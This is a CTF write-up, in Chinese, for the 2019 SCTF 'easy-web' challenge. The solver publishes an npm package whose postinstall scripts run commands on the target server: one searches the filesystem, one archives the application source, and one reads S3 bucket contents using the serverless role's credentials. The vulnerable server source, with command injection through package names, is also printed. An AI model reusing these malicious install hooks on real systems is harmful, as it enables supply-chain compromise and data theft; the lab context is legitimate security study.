easy-web

知識點:RCE點找尋(預期解),NPM 包特性(非預期解)
備注:這題做出來之后和出題人 l0ca1 師傅聊了聊,發現是有 RCE 點的,在傳入包名那- -不過到后面我這種蛇皮做法個人覺得反倒還方便些。以下我就寫寫自己的方法吧。
步驟:
1、打開靶機,是這樣一個頁面。

2、看看源碼,是 vue 寫的。

3、看下 app.js,找出其中的接口。

4、分析文件,
看到如下幾個點


提示 {"npm":["jquery","moment"]} ,其功能為下載 npm包打包之后提供二次下載。


提示 key 為 abcdefghiklmn123,接口地址 /upload。
經過觀察,測試,得到該接口的正確用法:


5、然后參考 https://juejin.im/post/5971aa866fb9a06bb54... 自己來構造一個包,里面不需要有實際內容,主要利用 npm 包 package json 里 script 段的 postinstall 配置,這種攻擊在現實中也出現過。https://www.anquanke.com/post/id/85150
構建步驟:
> mkdir glzjintest1
>cd glzjintest1
>npm init1

新建一個 index.js,內容如下
exports.showMsg = function () {
console.log("This is my first module");
};
編輯 package.json,
{
"name": "glzjintest1",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"postinstall": "grep -rn 'sctf' / > result.txt; exit 0"
},
"author": "",
"license": "ISC"
}
主要是改 scripts,postinstall 里面為你想執行的命令。這里我主要是想搜搜有沒有 flag。
然后是推送包到 npmjs,
> npm login
> npm publish

6、然后請求靶機,讓其下載這個包。

7、我們把返回的 URL 所指向的壓縮包下載下來解壓看看,可以看到我們的命令執行結果。沒找到像 flag 的文件。

8、似乎 /var/task 是程序所在目錄,打個包下下來看看。
繼續修改 package.json,版本升級下,推包。
{
"name": "glzjintest1",
"version": "1.0.3",
"description": "",
"main": "index.js",
"scripts": {
"postinstall": "tar cvzf result.tar.gz /var/task/; exit 0"
},
"author": "",
"license": "ISC"
}

然后繼續讓靶機下載咱們這個包。

解壓 result.tar.gz

9、審計源碼 index.js
const koa = require("koa");
const AWS = require("aws-sdk");
const bodyparser = require('koa-bodyparser');
const Router = require('koa-router');
const async = require("async");
const archiver = require('archiver');
const fs = require("fs");
const cp = require("child_process");
const mount = require("koa-mount");
const cfg = {
"Bucket":"static.l0ca1.xyz",
"host":"static.l0ca1.xyz",
}
function getRandomStr(len) {
var text = "";
var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for (var i = 0; i < len; i++)
text += possible.charAt(Math.floor(Math.random() * possible.length));
return text;
};
function zip(archive, output, nodeModules) {
const field_name = getRandomStr(20);
fs.mkdirSync(`/tmp/${field_name}`);
archive.pipe(output);
return new Promise((res, rej) => {
async.mapLimit(nodeModules, 10, (i, c) => {
process.chdir(`/tmp/${field_name}`);
console.log(`npm --userconfig='/tmp' --cache='/tmp' install ${i}`);
cp.exec(`npm --userconfig='/tmp' --cache='/tmp' install ${i}`, (error, stdout, stderr) => {
if (error) {
c(null, error);
} else {
c(null, stdout);
}
});
}, (error, results) => {
archive.directory(`/tmp/${field_name}/`, false);
archive.finalize();
});
output.on('close', function () {
cp.exec(`rm -rf /tmp/${field_name}`, () => {
res("");
});
});
archive.on("error", (e) => {
cp.exec(`rm -rf /tmp/${field_name}`, () => {
rej(e);
});
});
});
}
const s3Parme = {
// accessKeyId:"xxxxxxxxxxxxxxxx",
// secretAccessKey:"xxxxxxxxxxxxxxxxxxx",
}
var s3 = new AWS.S3(s3Parme);
const app = new koa();
const router = new Router();
app.use(bodyparser());
app.use(mount('/static',require('koa-static')(require('path').join(__dirname,'./static'))));
router.get("/", async (ctx) => {
return new Promise((resolve, reject) => {
fs.readFile(require('path').join(__dirname, './static/index.html'), (err, data) => {
if (err) {
ctx.throw("系統發生錯誤,請重試");
return;
};
ctx.type = 'text/html';
ctx.body = data.toString();
resolve();
});
});
})
.post("/login",async(ctx)=>{
if(!ctx.request.body.email || !ctx.request.body.password){
ctx.throw(400,"參數錯誤");
return;
}
ctx.body = {isUser:false,message:"用戶名或密碼錯誤"};
return;
})
.post("/upload", async (ctx) => {
const parme = ctx.request.body;
const nodeModules = parme.npm;
const key = parme.key;
if(typeof key == "undefined" || key!="abcdefghiklmn123"){
ctx.throw(403,"請求失敗");
return;
}
if (typeof nodeModules == "undefined") {
ctx.throw(400, "JSON 格式錯誤");
return;
}
const zipFileName = `${getRandomStr(20)}.zip`;
var output = fs.createWriteStream(`/tmp/${zipFileName}`, { flags: "w" });
var archive = archiver('zip', {
zlib: { level: 9 },
});
try {
await zip(archive, output, nodeModules);
} catch (e) {
console.log(e);
ctx.throw(400,"系統發生錯誤,請重試");
return;
}
const zipBuffer = fs.readFileSync(`/tmp/${zipFileName}`);
const data = await s3.upload({ Bucket: cfg.Bucket, Key: `node_modules/${zipFileName}`, Body: zipBuffer ,ACL:"public-read"}).promise().catch(e=>{
console.log(e);
ctx.throw(400,"系統發生錯誤,請重試");
return;
});
ctx.body = {url:`http://${cfg.host}/node_modules/${zipFileName}`};
cp.execSync(`rm -f /tmp/${zipFileName}`);
return;
})
app.use(router.routes());
if (process.env && process.env.AWS_REGION) {
require("dns").setServers(['8.8.8.8','8.8.4.4']);
const serverless = require('serverless-http');
module.exports.handler = serverless(app, {
binary: ['image/*', 'image/png', 'image/jpeg']
});
}else{
app.listen(3000,()=>{
console.log(`listening 3000......`);
});
}
命令那里我復制到上上級 – -為了不重復下載依賴- -使得包太大。
index.js 改為如下內容:
const AWS = require("aws-sdk");
const s3Parme = {
// accessKeyId:"xxxxxxxxxxxxxxxx",
// secretAccessKey:"xxxxxxxxxxxxxxxxxxx",
}
var s3 = new AWS.S3(s3Parme);
// Create the parameters for calling listObjects
var bucketParams = {
Bucket : 'static.l0ca1.xyz',
};
// Call S3 to obtain a list of the objects in the bucket
s3.listObjects(bucketParams, function(err, data) {
if (err) {
console.log("Error", err);
} else {
console.log("Success", data);
}
});
exports.showMsg = function () {
console.log("This is my first module");
};
讀出 s3 里存的東西,從 serverless 里連接是不需要憑證的。
然后讓靶機下載這個包。

解壓,看到開頭有個 flag 文件。

11、繼續更改 package.json,提升版本。
{
"name": "glzjintest1",
"version": "1.1.0",
"description": "",
"main": "index.js",
"scripts": {
"postinstall": "cp index.js ../../test.js && cd ../../ && node test.js > result.txt; exit 0"
},
"author": "",
"license": "ISC",
"dependencies": {
"aws-sdk": "^2.449.0"
}
}
然后修改 index.js,為其添加讀取這個 flag 文件的代碼。
const AWS = require("aws-sdk");
const s3Parme = {
// accessKeyId:"xxxxxxxxxxxxxxxx",
// secretAccessKey:"xxxxxxxxxxxxxxxxxxx",
}
var s3 = new AWS.S3(s3Parme);
// Create the parameters for calling listObjects
var bucketParams = {
Bucket : 'static.l0ca1.xyz',
};
// Call S3 to obtain a list of the objects in the bucket
s3.listObjects(bucketParams, function(err, data) {
if (err) {
console.log("Error", err);
} else {
console.log("Success", data);
}
});
var fileParam = {
Bucket : 'static.l0ca1.xyz',
Key: 'flaaaaaaaaag/flaaaag.txt'
};
s3.getObject(fileParam, function(err, data) {
if (err) console.log(err, err.stack); // an error occurred
else console.log(data); // successful response
});
exports.showMsg = function () {
console.log("This is my first module");
};
推包,讓靶機下載。


下載回來,解壓,得到文件內容。


解碼下就是 flag。

12、Flag 到手~
2019SCTF-Writeup